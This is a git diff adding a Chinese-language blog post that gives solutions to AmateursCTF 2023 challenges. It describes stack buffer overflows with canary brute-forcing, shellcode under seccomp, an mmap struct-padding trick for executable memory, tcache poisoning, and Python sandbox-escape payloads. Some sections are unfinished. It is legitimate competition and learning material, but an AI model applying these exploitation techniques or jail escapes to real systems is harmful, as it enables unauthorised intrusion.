diff --git a/content/post/2023/07/20-amateursctf-writeup/index.md b/content/post/2023/07/20-amateursctf-writeup/index.md
new file mode 100644
index 0000000..079f25d
--- /dev/null
+++ b/content/post/2023/07/20-amateursctf-writeup/index.md
@@ -0,0 +1,1389 @@
+---
+title: "AmateursCTF Writeup"
+date: 2023-07-20T09:17:37+08:00
+---
+
+[AmateursCTF 2023](https://ctf.amateurs.team/)
+
+## misc/Discord rules sanity check
+
+> Join the [discord](https://discord.gg/gCX22asy65) and read the rules!
+
+found
+
+> Good job for reading the rules. Here's your sanity check flag: `amateursCTF{be_honest._did_you_actually_read_the_rules?}`
+
+## misc/guessctf
+
+**~~不做了就1分~~**
+
+1. tutorial level
+
+ > here's some text:
+ > take the md5 hash of this line and repeat it a few times.
+ > here's some hex:
+ > b21e2deeed503640cded74cfe5511796b21e2deeed503640cded74cfe5511796b21e2deeed503640cded74cfe5511796b21e2deeed503640cded74cfe5511796b21e2deeed503640cded74cfe5511796b21e2deeed503640cded74cfe55170f9dd7a0d8482321860948201bdc52176e5c169429c8970422fed991caac53f72eec63e418b9b355a60a49e4eef85257fffc13e5d8f9e23412fbf8954a6967165f3d372418685291623bf8815bb8c2772f6
+ > It's a one time pad with the md5 hash of that line.
+ > Cool, got the password yet?
+
+ 第二行的MD5是`b21e2deeed503640cded74cfe5511796`
+
+ 前面的MD5重复了五次,去掉之后剩下
+
+ `b21e2deeed503640cded74cfe55170f9dd7a0d8482321860948201bdc52176e5c169429c8970422fed991caac53f72eec63e418b9b355a60a49e4eef85257fffc13e5d8f9e23412fbf8954a6967165f3d372418685291623bf8815bb8c2772f6`
+
+**last day, still 0 solve**
+
+smashmaster clone给了个hint:split in half
+
+## forensics/Minceraft
+
+> I found these suspicious files on my minecraft server and I think there's a flag in them. I'm not sure where though.
+>
+> Note: you do not need minecraft to solve this challenge. Maybe reference the minecraft region file format wiki?
+
+四个mca文件,都是来自地狱的
+
+用[nbtToText](https://github.com/MrPingouinMC/nbtToText/releases/tag/1.0)把最大的两个转成JSON,然后jq格式化一下,直接grep CTF,可以在r.1.135中找到,格式化后大概在11657609行
+
+`amateursCTF{cow_wear_thing_lmao_0f9183ca}`
+
+`grep -n -C 100 'CTF' r.1.135.json`可以看到和Cow有关(我开游戏的时候还以为是新生成的实体
+
+不能直接查找mca文件,因为有可能会被压缩
+
+## web/waiting-an-eternity
+
+打开devtools可以看到一个响应头
+
+```
+refresh: 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; url=/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a
+```
+
+跟着走,在后面的几个请求(前几个请求好像没有)会Set-Cookie发送一个time,把cookie改成`-Inf`即可
+
+`amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}`
+
+## web/sanity
+
+一个pastebin,有个report按钮
+
+大概是XSS
+
+```javascript
+await page.setCookie({ name: "flag", value: process.env.FLAG });
+```
+
+```html
+
+```
+
+qyz发现img可以注入进去~~然后就没然后了~~
+
+我擦,[Sanitizer](https://developer.mozilla.org/en-US/docs/Web/API/Sanitizer/Sanitizer)是实验API,Firefox默认没有开启
+
+要在[about:config](about:config)把`dom.security.sanitizer.enabled`开上
+
+这个sanitizer会把XSS过滤掉
+
+但是`
`里面的没有Sanitizer啊,但是这里会被url encode
+
+## rev/rusteze
+
+用ghidra找到main:`_ZN7rusteze4main17hc7c05373efbe52c2E rusteze::rusteze::main`(`00108eb0`)
+
+用cutter打开,找到`0x00008eb0`
+
+通过调试发现:
+
+- 0x00008f2f:完成输出`> `
+- 0x55555555cf0f:unwrap `Wrong!`
+- 0x55555555cf1c:String::new("Wrong!")
+- 0x55555559609f:str Wrong!\n
+- 0x5555555aaae0:flag string
+- 0x55555555d18d:print Wrong
+- 0x55555555d191:end
+- 0x55555555cfd3: check1
+- 0x55555555d00b: check 1 JMP
+- flag长度为38(0x26) chars
+- 0x55555555d011: pass check1
+- 然后向rsp + 0x11c(0x7FFFFFFFCE7C)写入一堆东西,到rsp + 0x141,共38字节
+- 0x55555555d150:向`0x7fffffffcea2 ◂— 0x20000000000000`填充38个零字节
+- 0x55555555d155-0x55555555d1ae:无意义花代码
+- 0x55555555d30f:不明比较
+- 0x55555555d1a5: loop start
+- 0x55555555d445: loop end
+- 0x55555555d1b4:向rsp + 0x172(0x7FFFFFFFCED2)写入到rsp + 0x197
+- 比较的是rsp+0x172和rsp+0x142
+- rsp+0x142=((flag ^ (rsp + 0x11c)) << 2) | ((flag ^ (rsp + 0x11c) >> 6)
+- 0x55555555d500:检查
+- 0x55555555d46b对应ghidra 0010946b
+- 使用`calc.js`进行一个爆破
+
+`amateursCTF{h0pe_y0u_w3r3nt_t00_ru5ty}`
+
+## crypto/Compact XORs
+
+根据前面的题,flag格式应该为`amateursCTF{.*}`
+
+可以发现,hex中有不少ASCII可读字符
+
+同时,前面的两个`a`和一个`e`都没有加密
+
+`m`和`t`和对应密文的XOR都是97,`a`的char code
+
+不难发现,加密规则是:
+
+- 单数位置上不加密
+- 双数位置上XOR前一个字符
+
+使用`flag.js`求出`amateursCTF{saves_space_but_plaintext_in_plain_sight_862efdf9}`
+
+## osint/Gitint 5e
+
+> One of the repos in the les-amateurs organization is kind of suspicious. Can you find all the *real* flags in that repository and report back? There are 3 flags total, one of which is worth 0 points. For this challenge, submit the flag with the sha256 hash `5e60b82a7b0860b53b6f100f599a5e04d52faf1a556ea78578e594af2e2ccf7c`
+
+github上的les-amateurs是主办方的org
+
+出题人hellopir2,直接看hellopir2的提交,不多,近期只有hello-ctf和scripts仓库
+
+hello-ctf有个奇怪的PR
+
+但是找不到什么,看到more-CTFd-mods仓库有一个“flagfest{fake_flag}”,大概都是在这个仓库
+
+1. Initial Commit及后一个提交有`amateursCTF{y0u-fOunD_m3;bu7:d1D U r34L!y?}`
+2. Commit `b79d333450e705c32bf87ed5752ea80b5d726717`有`flagfest{fake_flag}`
+
+找到一个`flag`分支,检出可以看到提交`19e1db8d5b0f7124630da81ab023b999044098b4`
+
+还有一个Issue:[#1](https://github.com/les-amateurs/more-CTFd-mods/issues/1),里面有一个pastebin链接
+
+还有PR [#2](https://github.com/les-amateurs/more-CTFd-mods/pull/2),已经被手动合并到了flag分支,其中的comment被edit过,PR正文也被edit过,
+
+body原文是:
+
+> What's the password, is it like password123456 or something?
+
+paste的密码就是`password123456`,
+
+```python
+def flag():
+ return "amateursCTF{programs have issues, as do weak passwords}"
+```
+
+**?我拿错哈希函数了,原来就是`amateursCTF{y0u-fOunD_m3;bu7:d1D U r34L!y?}`**
+
+## osint/Gitint 7d
+
+哎呀原来没白干
+
+## osint/ScreenshotGuesser
+
+看到截图上面的`US Mobile LTE`得知是美国
+
+~~Google Maps查找“Primavera Foundation US”~~
+
+smwy
+
+## crypto/Non-Quadratic Residues
+
+main.py中的一段代码,
+
+```python
+def getModPrime(modulus):
+ p = getPrime(1024)
+ p += (modulus - p) % modulus
+ p += 1
+ iters = 0
+ while not isPrime(p):
+ p += modulus
+ return p
+```
+
+$$
+modulus=166798809782010000000000
+$$
+
+这里第三行实际上把p下对齐到了modulus,所以
+$$
+p=n \cdot modulus + 1
+$$
+于是
+$$
+n &= c^{210} \mod b \\
+n &= c^{210} \mod (k \cdot 210^{10} + 1) \\
+$$
+~~根据RSA~~
+$$
+c \cdot F \equiv 1 \pmod{b} \\
+n = c^{210} \pmod{b}
+$$
+
+$$
+c \cdot F \equiv 1 \pmod{b} \\
+c \cdot F \mod{b} = 1 \\
+c^{-1} = F \pmod{b} \\
+b = k \cdot 210^{10} +1 \\
+n = c^{210} \mod b \\
+$$
+
+~~做的der不做了~~
+
+## misc/Censorship
+
+```python
+compile(_,_,'eval')
+compile(_,_,chr(101)+'val')
+# globals()['compil'+chr(101)](_,_,chr(101)+'val')
+globals()['__buil'+chr(116)+'ins__']
+vars(globals()['__buil'+chr(116)+'ins__'])['compil'+chr(101)](_,_,'single')
+vars(globals()['__buil'+chr(116)+'ins__'])['compil'+chr(101)](_,_,'singl'+chr(101))
+vars(globals()['__buil'+chr(116)+'ins__'])['prin'+chr(116)](_)
+```
+
+`amateursCTF{i_l0v3_overwr1t1nG_functions..:D}`
+
+嗯,`vars`是我对着[doc](https://docs.python.org/3/library/functions.html#built-in-funcs)翻出来的
+
+## misc/Censorship Lite
+
+```python
+ord('a') / ord('a') == 1
+```
+
+因此数字表达可以绕过,影响主要在`globals`
+
+```python
+vars(sys)['modules']['builtins']
+```
+
+通过sys可以引用到builtins,ASCII大写+空格=小写
+
+```python
+vars(sys)['modu'+chr(ord(' ')+ord('L'))+chr(ord(' ')+ord('E'))+'s']['bu'+chr(ord(' ')+ord('I'))+chr(ord(' ')+ord('L'))+chr(ord(' ')+ord('T'))+chr(ord(' ')+ord('I'))+'ns']
+vars(vars()['__bu'+chr(ord(" ")+ord("I"))+chr(ord(" ")+ord("L"))+chr(ord(" ")+ord("T"))+chr(ord(" ")+ord("I"))+'ns__'])['pr'+chr(ord(" ")+ord("I"))+'n'+chr(ord(" ")+ord("T"))](_)
+```
+
+`amateursCTF{sh0uld'v3_r3strict3D_p4r3nTh3ticaLs_1nst3aD}`
+
+## rev/volcano
+
+main在`001014a7`
+
+bear的长度要满足:
+
+- l & 1 == 0
+- l % 3 == 2
+- l % 5 == 1
+- l + ((l - (l / 7 >> 1)) + (l / 7 >> 2)) * -7 == 3
+- l % 0x6d == 0x37
+
+即
+
+- l为双数
+- l除以3余2
+- l除以5余1
+- l除以0x6d余0x37
+- `- l*6 + l / 4 == 3`
+
+`fuzz_bear.js`一扫一大堆,56854346
+
+`fuzz_volcano.js`,29356457
+
+proof的规则:
+
+- 为单数,不为1
+
+- bear和vol十进制位数相同(`00101209`)
+
+ ```c
+ long check_1(ulong value)
+ {
+ ulong i;
+ long sum;
+
+ sum = 0;
+ for (i = value; i != 0; i = i / 10) {
+ sum = sum + 1;
+ }
+ return sum;
+ }
+ ```
+
+- bear和vol十进制下每一位相加的和相同(`0010124d`)
+
+ ```c
+ long check_2(ulong value)
+ {
+ ulong i;
+ long sum;
+
+ sum = 0;
+ for (i = value; i != 0; i = i / 10) {
+ sum = sum + i % 10;
+ }
+ return sum;
+ }
+
+ ```
+
+- 不想看了直接爆破~~诶怎么不行~~
+
+ ```c
+ uint64_t check3(uint64_t const0x1337, uint64_t value, uint64_t proof)
+ {
+ ulong var_28h = 0;
+ uint64_t var_20h = 0;
+ uint64_t var_18h = 0x1337 % proof;
+ uint64_t var_8h = 1;
+
+ // var_18h = const0x1337 % proof;
+ for (var_20h = value; var_20h != 0; var_20h = var_20h >> 1) {
+ if ((var_20h & 1) != 0) {
+ var_8h = (var_8h * var_18h) % proof;
+ }
+ var_18h = (var_18h * var_18h) % proof;
+ }
+ return var_8h;
+ }
+
+ ```
+
+main位于`0x5555555554a7`
+
+bear = `56854346`
+
+volcano = `29356457`
+
+proof = `2230313`
+
+check3为`0x1ce437`
+
+`amateursCTF{yep_th0se_l00k_th3_s4me_to_m3!_:clueless:}`
+
+## rev/headache
+
+main位于`00401176`
+
+flag长度为0x3d(61)字节
+
+check位于`00401290`
+
+```c
+ulong checkflag(uint8_t *flag)
+{
+ uint32_t uVar1;
+ ulong uVar2;
+ ulong in_RCX;
+ ulong in_RDX;
+ uint32_t *puVar3;
+ uint32_t *noname_1;
+
+ if ((flag[0x19] ^ *flag) != 0x56) {
+ return 0;
+ }
+ puVar3 = fcn.004012a4;
+ do {
+ *puVar3 = *puVar3 ^ 0xea228de6;
+ noname_1 = puVar3 + 1;
+ uVar1 = *puVar3;
+ puVar3 = noname_1;
+ } while (uVar1 != 0xea228de6);
+ uVar2 = fcn.004012a4(flag, noname_1, in_RDX, in_RCX);
+ return uVar2;
+}
+```
+
+flag的0x19位XOR第一个字符(`a`)为0x56,所以第25位为`7`
+
+测试flag `amateursCTF{777777777777777777777777777777777777777777777777}`
+
+还修改了`FUN_004012a4`的内容
+
+main位于`0x401176`,check call位于`0x401237`,check位于`0x401290`,对004012a4的调用位于`0x40438c`
+
+```asm
+=> 0x4012a4: mov r15b,BYTE PTR [rdi+0x2d]
+ 0x4012a8: xor r15b,BYTE PTR [rdi+0xe]
+ 0x4012ac: cmp r15b,0x1d
+ 0x4012b0: je 0x404350
+ 0x4012b6: xor eax,eax
+ 0x4012b8: ret
+ 0x4012b9: nop
+ 0x4012ba: nop
+ 0x4012bb: nop
+```
+
+flag的0x2d和0xe XOR是0x1d
+
+~~哎呀有新的题了不做了~~
+
+## rev/jvm
+
+用[Vineflower](https://github.com/Vineflower/vineflower/releases/tag/1.9.1)进行一个反编译
+
+```bash
+java -jar vineflower-1.9.1.jar JVM.class .
+```
+
+简单分析后得到`JVM1.java`,可以看到是一个很简单的指令集
+
+用x86混合ARM的风格造了个打印,运行一次得到`out.asm`
+
+可知
+
+- flag为42字符,r0作为cx进行计数
+- IP=32处打印NO
+
+然后把整个流程dump出来
+
+```java
+ case 32:
+ System.out.println(ip + ": READ");
+ stack[sp++] = 10;
+ ip += 1;
+ break;
+```
+
+```java
+ case 41:
+ System.out.println(ip + ": JZ r" + op1 + ", " + op2);
+ if (op2 == 37) {
+ System.out.println("---- WARN jump 37");
+ }
+ if (registers[op1] == 0) {
+ ip = op2;
+ } else {
+ ip += 3;
+ }
+ break;
+ case 42:
+ System.out.println(ip + ": JNZ r" + op1 + ", " + op2);
+ if (op2 == 37) {
+ System.out.println("---- Expected " + (char)(10-registers[op1]));
+ registers[op1] = 0;
+ }
+ if (registers[op1] != 0) {
+ ip = op2;
+ } else {
+ ip += 3;
+ }
+ break;
+ case 43:
+ System.out.println(ip + ": JMP " + op1);
+ if (op2 == 37) {
+ System.out.println("---- WARN jump 37");
+ }
+ ip = op1;
+ break;
+```
+
+虽然在后面IndexOutOfBound了但是大部分flag都拿到了,amasteursCTF直接补上就好
+
+```bash
+grep Expected out2.asm | sed -e 's/.*Expected\s//g'
+```
+
+`amasteursCTF{wh4t_d0_yoU_m34n_j4v4_isnt_ _vm?}`,中间空格那个字符的判断逻辑比较奇怪,因为用到了`EXCHANGE`,VM没能直接解出来
+
+```
+93: POP r0
+95: ADD r1, 1
+98: EXCHANGE r0, r1
+100: ADD r1, r1
+103: ADD r2, 7
+106: ADD r0, r0
+109: SUB r2, 1
+112: JNZ r2, 106
+106: ADD r0, r0
+109: SUB r2, 1
+112: JNZ r2, 106
+106: ADD r0, r0
+109: SUB r2, 1
+112: JNZ r2, 106
+106: ADD r0, r0
+109: SUB r2, 1
+112: JNZ r2, 106
+106: ADD r0, r0
+109: SUB r2, 1
+112: JNZ r2, 106
+106: ADD r0, r0
+109: SUB r2, 1
+112: JNZ r2, 106
+106: ADD r0, r0
+109: SUB r2, 1
+112: JNZ r2, 106
+115: ADD r0, 2
+118: SUB r0, r1
+121: SUB r1, r1
+124: JNZ r0, 37
+```
+
+但是也不难推,同时根据上下文可以直接猜测是`a`或者`A`(我算这一段的时候,算错了两次,一次算成了75
+
+`amateursCTF{wh4t_d0_yoU_m34n_j4v4_isnt_A_vm?}`
+
+## misc/Insanity check
+
+> insanity introduce inspire **something** incredible impulse ivory intelligence incident implication **hidden** illustrate isolation illusion indirect instinct inappropriate interrupt infection **in** item inspector institution infinite insert **the** insist import ignite incentive influence instruction invasion install infrastructure innovation ignore investment impact improve increase **rules** identification initial immune inhabitant indulge illness information iron injection interest intention inquiry inflate impound
+
+“something hidden in the rules”,用Discord**客户端**(Web不行)打开rules频道,就会看到列表前面的数字变成了“107122414347637 125839376402043 122524418662265 122549902405493 121377376789885”
+
+hex + from hex
+
+`616d6174657572734354467b6f6f70735f796f755f666f756e645f6d657d`
+
+`amateursCTF{oops_you_found_me}`
+
+thx to qyz
+
+## pwn/rntk
+
+甚至符号表都没删,他真的,我哭死
+
+但是猜对数字没用,要调用到`win`,而这个函数没有直接引用
+
+可以看到
+
+- 随机数使用libc的PRNG,seed为`time(NULL)`,即UNIX Timestamp in seconds
+- 完成后生成第一个随机数作为`global_canary`
+- guess时使用gets,缓冲区在栈上,由于`gets(3)`没有边界检查,这里可以溢出
+- guess时会保存`global_canary`到栈上,并在`gets(3)`后检查
+- seed以秒为单位且在启动时生成,可以爆破
+
+因此`canary.c`进行一个爆破
+
+需要注意的是,由于payload包含非ASCII字符,要直接从pipe写入,不能用shell
+
+`amateursCTF{r4nd0m_n0t_s0_r4nd0m_after_all}`
+
+~~去你的ghidra分析栈结构多出来个变量害得我弄了半天没JMP对~~
+
+我生成的payload跳过了`win`的第一条ENDBR64指令,不跳也行
+
+## pwn/permissions
+
+这个用到了`seccomp`,很神奇的样子
+
+- L28:6秒后自动终止
+- L30-41:读取flag
+- L44:使flag内存只写
+- L55:初始化seccomp
+- L57:运行shellcode
+- 运行shellcode时,RAX及RDI都指向flag,RDX指向code buffer
+- shellcode内存为RWX
+- 根据Intel Software Developer Manual 3.4.5.1,x86{,64}支持{Read-Only,Read-Write}{,-expand-down}{,-accessed},但是没有Write-Only,所以实际上,虽然`mprot`了,内存还是可读的
+
+写一个shellcode(`code.asm`),用NASM编译(注意带上`BITS 64`和`DEFAULT REL`,不然默认是绝对地址,直接调用`write(2)`写到stdout即可
+
+`amateursCTF{exec_1mpl13s_r34d_8751fda0}`
+
+## pwn/i-love-ffi
+
+没有直接读取flag,那就需要shellcode注入了
+
+可以运行shellcode也可以打印buffer
+
+由于没有打开flag.txt,没有fd,只能靠shellcode
+
+先分析下两个struct的结构,
+
+```bash
+cargo install bindgen-cli
+bindgen chal.c -o chal.rs
+rm $(which bindgen)
+```
+
+```c
+struct MmapArgs {
+ uint64_t * addr; // 0
+ uint64_t length; // 8
+ int protection; // 16
+ int flags; // 20
+ int fd; // 24
+ // padding 4 bytes
+ uint64_t offset; // 32
+}; // 40
+```
+
+可以发现,clang分析时, `fd`和`offset`之间有4bytes对齐,结构应该是40b,但是反编译可以看到,对齐字节,整个结构只有36b
+
+但是在so中
+
+```
+001078cd 4c 89 33 MOV qword ptr [RBX],R14 // addr
+001078d0 4c 89 7b 08 MOV qword ptr [RBX + 0x8],R15 // len
+001078d4 89 6b 18 MOV dword ptr [RBX + 0x18],EBP // prot
+001078d7 44 89 63 1c MOV dword ptr [RBX + 0x1c],R12D // flags
+001078db 44 89 6b 20 MOV dword ptr [RBX + 0x20],R13D // fd
+001078df 48 89 43 10 MOV qword ptr [RBX + 0x10],offset
+```
+
+rust中,结构也没有对齐,结构为36b,不过编译出的so中,exec prot判断是直接用寄存器的值,不受影响
+
+此时:
+
+| rs | addr | addr | len | len | offset | offset | prot | flags | fd |
+| ---- | ---- | ---- | ---- | ---- | ------ | ------ | ---- | ------ | ------ |
+| c | addr | addr | len | len | prot | _flags | fd | offset | offset |
+
+所以`prot`实际上可以为RWX
+
+```c
+#define PROT_READ 0x1 /* Page can be read. */
+#define PROT_WRITE 0x2 /* Page can be written. */
+#define PROT_EXEC 0x4 /* Page can be executed. */
+```
+
+`prot`应该为7
+
+`strace -e open,openat ./chal`发现chal没有打开任何多余的文件,
+
+参考`pwn/permissions`的mmap,可以发现,addr=NULL时,mmap会主动分配内存
+
+fd=-1时,不会映射任何内容,等于分配内存,
+
+```c
+read(0, buf, 0x1000);
+```
+
+len应该大于0x1000
+
+所以payload应该是,
+
+```
+addr = 0
+len = 4096
+offset = 0
+prot = 7
+fd = -1
+```
+
+由于rs中是parse的u32,-1应该写作0xffffffff,即4294967295,但是这样就过不了PROT_EXEC检查,
+
+offset = 0x700000000
+
+而`MAP_ANON`在大部分libc实现中,不要求fd一定为-1,所以可以尝试其他值
+
+```
+0
+4096
+4294967291
+0
+0
+7
+```
+
+可以看到运行时
+
+```
+ ► 0x5555555552a0 call mmap@plt
+ addr: 0x0
+ len: 0x1000
+ prot: 0x7
+ flags: 0x22
+ fd: 0xfffffffb
+ offset: 0x0
+```
+
+成功设置了PROT_EXEC,写个`wrapper.c`和`code.asm`进行一个注入
+
+需要注意的是,wrapper要分两次write,不然缓冲区数据加载不进去(猜测是因为rust和libc分两个stdin buffer?反正一次性write会导致buf为空
+
+先`open`然后`read`然后`write`即可
+
+`amateursCTF{1_l0v3_struct_p4dding}`
+
+## pwn/hex-converter
+
+> I kept on getting my hex mixed up while trying to solve unvariant's pwn challenges, so I wrote my own converter to help me out.
+>
+> Hint: What's in the stack that we can overwrite?
+
+又是一道`gets`的栈覆盖题
+
+hex缓冲区为28b,会输出16个字符的十六进制ASCII
+
+变量在栈中的格式为:
+
+>| 高地址
+>
+>| i(输出计数,undefined4)
+>
+>| hex(undefiend1[28])
+>
+>| flag(undefined1[64])
+>
+>| 低地址
+
+人不能,至少不该,覆盖flag
+
+如果把i覆盖到负数呢,这样`i > 0x10`前就能打印更多字符,了吗?
+
+打印用的是`hex[i]`,负数的时候指针会指向flag,好!
+
+咱要把它覆盖成`-64`
+
+写好`solve.c`完事,注意要sleep一秒不然不知道为什么对面收不到
+
+`616D6174657572734354467B776169745F746869735F7761736E745F737570706F7365645F746F5F62655F7072696E7465645F37363732337D0000000000000031313131313131313131313131313131`
+
+塞进CyberChef选From Hex
+
+`amateursCTF{wait_this_wasnt_supposed_to_be_printed_76723}`
+
+## pwn/perfect-sandbox
+
+seccomp + flag地址随机化
+
+rbx rcx rdx rdi rsi rbp r8 r9 r10 r11 r12 r13 r14 r15都被初始化为0x13371337
+
+rsp为0x13371337000,指向固定的堆栈
+
+rax指向代码
+
+JMP前长这样
+
+```
+ RAX 0x7ffff7c79000 ◂— mov r12, rax /* 0x1b8c48949 */
+ RBX 0x13371337
+ RCX 0x13371337
+ RDX 0x13371337
+ RDI 0x13371337
+ RSI 0x13371337
+ R8 0x13371337
+ R9 0x13371337
+ R10 0x13371337
+ R11 0x13371337
+ R12 0x13371337
+ R13 0x13371337
+ R14 0x13371337
+*R15 0x13371337
+ RBP 0x13371337
+ RSP 0x13371337000 ◂— 0x0
+*RIP 0x401594 (main+643) ◂— jmp rax
+```
+
+flag加载地址为`rand & 0xfffff000 + 0x1337000`,`rand`从`/dev/urandom`读取
+
+使用iaito的pdc反编译:
+
+```
+ rax = qword [rbp - 0x28]
+ eax = dword [rax]
+ eax &= 0xfffff000
+ dword [rbp - 0x30] = eax
+ eax = dword [rbp - 0x30]
+ rax += 0x1337000
+ qword [rbp - 0x20] = rax
+ rax = qword [rbp - 0x20]
+ r9d = 0 // size_t offset
+ r8d = 0xffffffff // -1 // int fd
+ ecx = 0x22 // '\"' // 34 // int flags
+ edx = 3 // int prot
+ esi = 0x1000 // size_t length
+ rdi = rax // void*addr
+ mmap () // sym.imp.mmap // sym.imp.mmap
+```
+
+可以看到:`qword [rbp - 0x20] = rax`,通过gdb观察发现,rsp - 0x20和rsp - 0x28都有指向flag的指针
+
+系统分配的stack不会被释放,且基本可重现,因此可以暂时默认0x7fffffffd280为rsp - 0x20
+
+但是离谱的是,gdb下面能运行,单独运行就爆炸,用coredumpctl开上gdb看,是栈的地址不对
+
+那我把整个栈扫一遍总行吧
+
+`cat /proc/(PID)/smaps | grep stack`获取stack地址
+
+发现gdb调试时为`7ffffffdd000-7ffffffff000`,单独运行时为`7ffedefea000-7ffedf00c000`
+
+栈长这样
+
+```
+pwndbg> stack
+00:0000│ rsp 0x7fffffffd260 ◂— 0x0
+01:0008│ 0x7fffffffd268 ◂— 0x300000000
+02:0010│ 0x7fffffffd270 ◂— 0x346020000
+03:0018│ 0x7fffffffd278 —▸ 0x7ffff7fc0000 ◂— 0x4602090d
+04:0020│ 0x7fffffffd280 —▸ 0x47357000 ◂— 'test flag'
+05:0028│ 0x7fffffffd288 —▸ 0x47357000 ◂— 'test flag'
+06:0030│ 0x7fffffffd290 —▸ 0x7ffff7c79000 ◂— mov r12, rax /* 0x1b8c48949 */
+07:0038│ 0x7fffffffd298 —▸ 0x13371337000 ◂— 0x0
+```
+
+可以看到,首先,`rsp - 0x20`是指向flag,`rsp - 0x30`是代码位置,会等于代码执行时的`rax`,`rsp - 0x68`和`rsp - 0x70`值相同,`-0x58`指向`0x401311`(`main`),`rsp - 0x40`为1(`argv`),`rsp - 0x80`为0,`-0xf0`指向main,`-0x118`指向`0x401170`(_start),`-0x138`指向`0x401195`
+
+但是此时我们还不能`getpid`,因为seccomp,但是我们可以:`cat /proc/self/smaps | grep stack`
+
+**诶怎么还不能`open`**
+
+根据给出的论文,我们可以通过判断页表缓存后访问时间的差异扫描页。具体的访问操作是由`VMASKMOV`和`VPMASKMOV`完成的,这两个操作可以设置加载掩码,无效页面被遮罩时不会产生异常。
+
+**尝试自己做了个PoC,但是跑不起来,不知道为什么,`KMOVD`会触发`SIGILL`**
+
+正解:从`fs`和`gs`寄存器访问TLS复原栈指针
+
+`[[fs:0x300]-0x50]`
+
+`amateursCTF{3xc3pt10n_suppr3ss10n_ftw}`
+
+## pwn/ELFcrafting-v1
+
+> How well do you understand the ELF file format?
+
+这题要造一个32字节的ELF出来,上[osdev wiki](https://wiki.osdev.org/ELF)查一下ELF的格式
+
+32字节?ELF Header都多少了
+
+但是,我们有shebang啊
+
+```sh
+#!/usr/bin/cat flag.txt
+```
+
+```
+/m/s/w/A/p/ELFcrafting-v1 $ nc amt.rs 31178 < exp.sh
+I'm sure you all enjoy doing shellcode golf problems.
+But have you ever tried ELF golfing?
+Have fun!
+read 23 bytes from stdin
+wrote 23 bytes to file
+amateursCTF{i_th1nk_i_f0rg0t_about_sh3bangs_aaaaaargh}
+/usr/bin/cat: /dev/fd/3: No such file or directory
+```
+
+虽然我不知道为什么`sh`和`cat`都在尝试打开fd 3但是flag出来了就行
+
+`amateursCTF{i_th1nk_i_f0rg0t_about_sh3bangs_aaaaaargh}`
+
+## pwn/simple-heap-v1
+
+0x5555555596b0 first chunk
+
+0x5555555596d0 guess chunk
+
+0x5555555596f0 flag
+
+0x5555555596f0 flag
+
+0x5555555596d0 last guess
+
+0x555555559790 0x555555559700 last guess & flag with 32b first guess
+
+0x5555555596f0 flag
+
+堆分配过程:
+
+- first chunk alloc
+- guess chunk alloc
+- flag alloc/free
+- flag alloc/free
+- guess chunk free
+- last guess alloc
+- flag alloc/free
+
+第二次猜测的修改一个字符可以溢出,以及后面flag malloc的时候总是会和guess chunk相隔至少16 bytes
+
+所以,只要我们让guess chunk和flag连起来即可
+
+0x555555555560 get first chunk
+
+[ctf-wiki about tcachebin](https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack/#0x03-pwn-tcache)
+
+完成第一次check后长这样
+
+```
++0000 0x5555555596a0 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ tcachebin前8b
++0010 0x5555555596b0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaaaaaa│aaaaaaaa│ first chunk
++0020 0x5555555596c0 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ guess chk的tcachebin前8b
++0030 0x5555555596d0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaaaaaa│aaaaaaaa│ guess chunk
++0040 0x5555555596e0 00 00 00 00 00 00 00 00 91 00 00 00 00 00 00 00 │........│........│ flag tcachebin prev size/size
++0050 0x5555555596f0 59 55 55 55 05 00 00 00 48 48 c8 15 ff f4 ab 1b │YUUU....│HH......│ flag tcachebin next/key
+```
+
+此时`Free chunk (tcachebins) | PREV_INUSE`指向e0
+
+由于`printf`打印的是guess,所以要让guess分配到flag的位置,然后给size = 0就可以让数据不被覆盖,但是这样会让check通过,不打印guess,所以要使strcmp失败
+
+~~不能直接修改TCB.fd,因此第二次check的时候需要分配内存,此时guess还没释放,位置上没有TCB~~诶guess里面写一个TCB不就好了
+
+- load payload
+
+- check1 flag alloc/free(entries->flag buf)
+- change one char
+- check2 flag alloc/free(entries->flag buf)
+- guess chunk free(entries->guess buf->flag buf)
+- last guess alloc(entries->flag buf)
+- flag alloc/free(entries->flag buf)
+
+首先要tcache poisoning我们需要至少两个entry在同一个bin上,不然还要修改`tcache_prethread_struct->count`,一个字节改不来
+
+所以可能是在guess chunk free之后,让flag buf,也就是`guess buf->next`指向guess buf本身,同时guess buf本身要有数据,让`strcmp`不通过
+
+已知`flag buf`为0x80字节,应该分配在第七个bin,guess buf也应该在113-128字节之间
+
+那么payload大概是这样
+
+- 第一个`getchunk`随便写,由于不会释放,不影响tcache
+- 第二个guess给120字节,内容随便
+- 修改一个字符的时候越界写入flag `tcache_entry->next`指向guess buf
+- 最后次guess给120非0字节
+
+## crypto/You get extra information 1
+
+一眼RSA
+
+给出了$p \cdot q$(即$N$),$c = ptxt ^ {e} \mod{N}$,$e = 65537$,$p+2q$
+
+根据RSA的解密方法
+$$
+n = c^d \bmod {N}
+$$
+我们需要求出$d$
+
+而$ed\equiv1\pmod{r}$
+
+根据一篇论文:
+
+> Mohammed, Ahmed and Alkhelaifi, Abdulrahman. "RSA: A number of formulas to improve the search for p+qp+qp+q" *Journal of Mathematical Cryptology*, vol. 11, no. 4, 2017, pp. 195-203. https://doi.org/10.1515/jmc-2016-0046
+
+因为$n = 1 \bmod{100}$且$3 \mid n+1$时,$r = 300k + 102$或$r = 300k + 198$或$r = 60k + 30$
+
+此时:
+
+- $p+q\gt2\sqrt{n}$
+- $\sqrt{m^2-4n}$时,$m=p+q$
+
+设$r=p+q$:
+
+- $r_1 = 300k_1 + 102$
+- $r_2 = 300k_2 + 198$
+- $r_3 = 60k_3 + 30$
+
+算出$2\sqrt{n}$约为$1.8307\times 10^{154}$(1.8307e+154)
+
+由于$r_1$、$r_2$和$r_3$大于$2\sqrt{n}$,
+
+所以:
+
+- $k_1 \gt 6.1023\times 10^{151}$
+- $k_3 \gt 6.1023\times 10^{151}$
+- $k_3 \gt 3.0512\times 10^{152}$
+
